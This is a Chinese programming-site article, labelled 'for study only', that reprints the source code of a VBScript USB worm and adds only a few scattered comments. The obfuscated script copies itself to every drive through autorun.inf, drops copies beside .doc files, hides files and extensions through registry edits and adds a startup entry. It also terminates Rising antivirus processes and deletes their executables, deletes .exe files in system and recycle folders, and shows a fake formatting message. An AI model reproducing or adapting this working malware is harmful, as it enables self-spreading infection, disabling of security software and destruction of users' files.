这篇文章主要介绍了vbs病毒源文件的示例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。
仅供参考学习用：
rem vbs.rhl Dim fs,r,ss,w,reg,regpath,dvbs ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41) Execute ddd rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41) Execute rrr sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41) ttt="set dvbs =" & sss Execute ttt r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\") main() On Error Resume Next sub main() regtime() finddrive() countdrive(ss) regwrite() ganranfile(ss) xunhuan() end sub Function finddrive() if dvbs.name="USBDRIVE.dll" then regwrite() ganrandisk() end if if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then regwrite() dvbs.delete(true) end if ss=Trim("") Set dc = fs.Drives For Each d In dc If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then ss = ss & d.DriveLetter end if Next ss = StrReverse(LCase(Trim(ss))) end Function Function countdrive(ss) On Error Resume Next dim x For i = 1 To Len(ss) x = Mid(ss, i, 1) if x="" then x=Mid(ss, 1, 1) i=1 end if Set w = fs.GetDrive(x) ganrandiskroot() Next end Function Function ganrandiskroot() dim c,s,f,vbc,ts,runreg On Error Resume Next If w.DriveType=2 or w.DriveType=1 and w.IsReady Then If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then else fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")" Execute fff If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then else fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")" Execute fff if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg") f.attributes=f.attributes+7 Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\doc.reg") f.attributes=f.attributes+7 end if end if end if If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1) vbc = c.readall If InStr(vbc,"vbs.rhl") <> 0 Then c.Close Else c.Close Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs") c.delete(true) fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")" Execute fff s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒（病毒）") Randomize i= Int((6 * Rnd) + 1) fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")" Execute fff Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs") b.attributes=b.attributes-b.attributes Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs") c.attributes=c.attributes+7 If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then else if w.DriveLetter="C" then Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg") f.attributes=f.attributes+7 Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg") ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg") f.attributes=f.attributes+7 else Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg") f.attributes=f.attributes+7 Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\doc.reg") f.attributes=f.attributes+7 end if end if end if else fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")" Execute fff s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒（病毒）") Randomize i= Int((6 * Rnd) + 1) fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")" Execute fff Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs") b.attributes=b.attributes-b.attributes Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs") c.attributes=c.attributes+7 If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then else if w.DriveLetter="C" then Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg") f.attributes=f.attributes+7 Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg") ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg") f.attributes=f.attributes+7 else Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg") f.attributes=f.attributes+7 Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(w.DriveLetter & ":\doc.reg") f.attributes=f.attributes+7 end if end if end if If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1) vbc = c.readall If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then c.Close Else Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf") f.attributes=f.attributes-f.attributes Set ts = f.OpenAsTextStream(2,-2) ts.WriteLine "[AutoRun]" ts.WriteLine "open= " ts.WriteLine "" ts.WriteLine "shell\open=打开(&O) " ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" ts.WriteLine "shell\open\Default=1 " ts.close f.attributes=f.attributes+7 end if else Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true) ts.WriteLine "[AutoRun]" ts.WriteLine "open= " ts.WriteLine "" ts.WriteLine "shell\open=打开(&O) " ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" ts.WriteLine "shell\open\Default=1" ts.close Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf") f.attributes=f.attributes+7 End If end if end Function Function regwrite() On Error Resume Next dim s a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\" （a1= HKEY_CURRENT_USER\Software\Microso ft\Windows\CurrentVersion\Explorer\Advanced\ a2="HK"&"EY_CLAS"&"SES_RO" & "OT\DLL" & "File\" （a2=HKEY_CLASSES_ROOT\DLLFile） a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun" （a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun） a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun" （a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun） a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll" (a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll) a6="R.Re" & "gWri" & chr(116) & "e" (a6=R.RegWrichr(116) e) a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\" (a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon) set s=fs.GetDrive(fs.GetDriveName(dvbs.path)) scandoc(fs.GetSpecialFolder(0) & "\Installer") if reg="wordicon.exe" then if s="C:" then if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg") else r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg") end if else if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg") else r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg") end if end if ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)®path & ",1"&chr(34) Execute ppp else if s="C:" then if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg") else r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg") end if else if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg") else r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg") end if end if ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34) Execute ppp end if ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34) Execute ppp ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*" & chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34) Execute ppp ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34) Execute ppp if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34) Execute ppp else ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34) Execute ppp end if if day(date())="27" then （27号报告错误） msgbox "小样！你的杀毐软件该升级了，磁盘已被格式化" End If end Function Function scandoc(a) （定义子函数） On Error Resume Next （出错不报告） dim files,file,subfolder,folder_ set folder_=fs.getfolder(a) set files=folder_.files for each file in files (for each。。。next 对数组或集合中的每个元素重复执行一组语句) if file.name ="wordicon.exe" then reg=file.name regpath=file.path exit Function end if next （for each 的next） set subfolders=folder_.subfolders (set 是一个赋值语句) for each subfolder in subfolders scandoc(subfolder) next end Function （结束子程序的定义） Function regtime() (定义一个子程序添加注册表，结束瑞星) a6="R.Re" & "gWri" & chr(116) & "e" （a6= R.RegWri chr(116)e chr（116）是值） a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" &"iptingHo"&"st\Settin"&"gs\Timeou （a8=注册表HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout） ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34) Execute ppp （对指定的字符串执行正则表达式搜索） dim NameorPID kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe") for i=0 to 4 KillProcess(kill(i)) （结束4个瑞星程序） next end Function （结束这个子程序） Function ganranfile(aa) （定义一个子程序） On Error Resume Next （出错不报告） dim x For i = 1 To Len(aa) （len函数 返回字符串内字符的数目，或是存储一变量所需的字节数） x = Mid(aa, i, 1) （mid函数 从字符串中返回指定数目的字符。这里是一个个返回给X） if x="" then x=Mid(aa, 1, 1) i=1 end if Set x = fs.GetDrive(x) if x.IsReady then scan(x) else xunhuan() end if Next end Function （结束本子程序，作用不明） Function scan(x) （定义子程序 scan(a) ） On Error Resume Next ( 出错不报告 ) dim files,file,subfolder,folder_ set folder_=fs.getfolder(x) set files=folder_.files for each file in files s=file.path ext=fs.GetExtensionName(file) ext=lcase(ext) （ lcase函数 返回字符串的小写形式） if ext="doc" then fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")" （fff是sss.copy加几个字符 怀疑这个几个字符组成一个文件名） Execute fff end if next set subfolders=folder_.subfolders for each subfolder in subfolders scan(subfolder) next end Function Function ganrandisk() On Error Resume Next regwrite() dim doc, d, s, coun,w,h,oo Set doc = fs.Drives for each k in doc if k.IsReady then h=h & k.DriveLetter end if next t1=len(Trim(h)) coun=doc.count do while coun>0 oo=h & w clearinfo(oo) wscript.sleep 50 Set d = fs.Drives if d.count>coun then for each k in d if k.IsReady then s=s & k.DriveLetter end if next coun=d.count t= StrReverse(LCase(Trim(s))) w=mid(t,1,abs(len(t)-t1)) countdrive(w) ganranfile(w) s=trim("") t1=len(t) end if if d.count<coun then for each k in d if k.IsReady then s=s & k.DriveLetter end if next coun=d.count t= StrReverse(LCase(Trim(s))) s=trim("") t1=len(t) end if loop end Function Function xunhuan() On Error Resume Next dim sfo set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path)) if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then if sfo.DriveType=2 then ganrandisk() else wscript.quit end if else dvbs.delete(true) end if end Function Function clearinfo(oo) On Error Resume Next dim dc,z oo =LCase(Trim(oo)) For m = 1 To Len(oo) z = Mid(oo, m, 1) Set z = fs.GetDrive(z) findinf(z) v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information") for i= 0 to 1 scanexe(v(i)) next next vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system") for i=0 to 2 scanexe(vir(i)) next end Function Function scanexe(a) wscript.sleep 100 On Error Resume Next dim files,file,folder_ if fs.FolderExists(a) then set folder_=fs.getfolder(a) set files=folder_.files for each file in files ext=fs.GetExtensionName(file) ext=lcase(ext) if ext="exe" then Set f = fs.GetFile(file) f.delete(true) end if next set subfolders=folder_.subfolders for each subfolder in subfolders scanexe(subfolder) next end if end Function Function findinf(z) On Error Resume Next If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then else fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")" Execute fff If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then else ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34) Execute ppp end if end if If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then else fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")" Execute fff Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs") f.attributes=f.attributes+7 end if If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1) vbc = c.readall If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then c.Close Else Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf") f.attributes=f.attributes-f.attributes Set ts = f.OpenAsTextStream(2,-2) ts.WriteLine "[AutoRun]" （以下建立自动播放文件） ts.WriteLine "open= " ts.WriteLine "" ts.WriteLine "shell\open=打开(&O) " ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" ts.WriteLine "shell\open\Default=1 " ts.close f.attributes=f.attributes+7 end if else Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true) ts.WriteLine "[AutoRun]" ts.WriteLine "open= " ts.WriteLine "" ts.WriteLine "shell\open=打开(&O) " ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" ts.WriteLine "shell\open\Default=1" ts.close Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf") f.attributes=f.attributes+7 End If if fs.FileExists(z.DriveLetter & ":\vbs.reg") then else Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34) ts.close Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg") f.attributes=f.attributes+7 end if if fs.FileExists(z.DriveLetter & ":\doc.reg") then else Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true) ts.WriteLine "Windows Registry Editor Version 5.00" ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34) ts.close Set f = fs.GetFile(z.DriveLetter & ":\doc.reg") f.attributes=f.attributes+7 end if end Function Function KillProcess(NameorPID) On Error Resume Next Dim oWMI, oProcs, oProc, strSQL KillProcess = False strSQL = "SELECT * FROM Win32_Process" If NameOrPID <> "" Then If IsNumeric(NameOrPID) Then strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'" Else strSQL = strSQL & " WHERE Name = '" & NameorPID & "'" End If End If Set oWMI = GetObject("winmgmts:\\.\root\cimv2") Set oProcs = oWMI.ExecQuery(strSQL) For Each oProc In oProcs If IsNumeric(NameOrPID) Then oProc.Terminate KillProcess = True Else oProc.Terminate if day(date())="27" then set killfile=fs.getfile( oProc.ExecutablePath) killfile.delete(true) End If end if Next Set oProc = Nothing Set oProcs = Nothing Set oWMI = Nothing End Function感谢你能够认真阅读完这篇文章，希望小编分享的“vbs病毒源文件的示例分析”这篇文章对大家有帮助，同时也希望大家多多支持编程网，关注编程网行业资讯频道，更多相关知识等着你来学习!
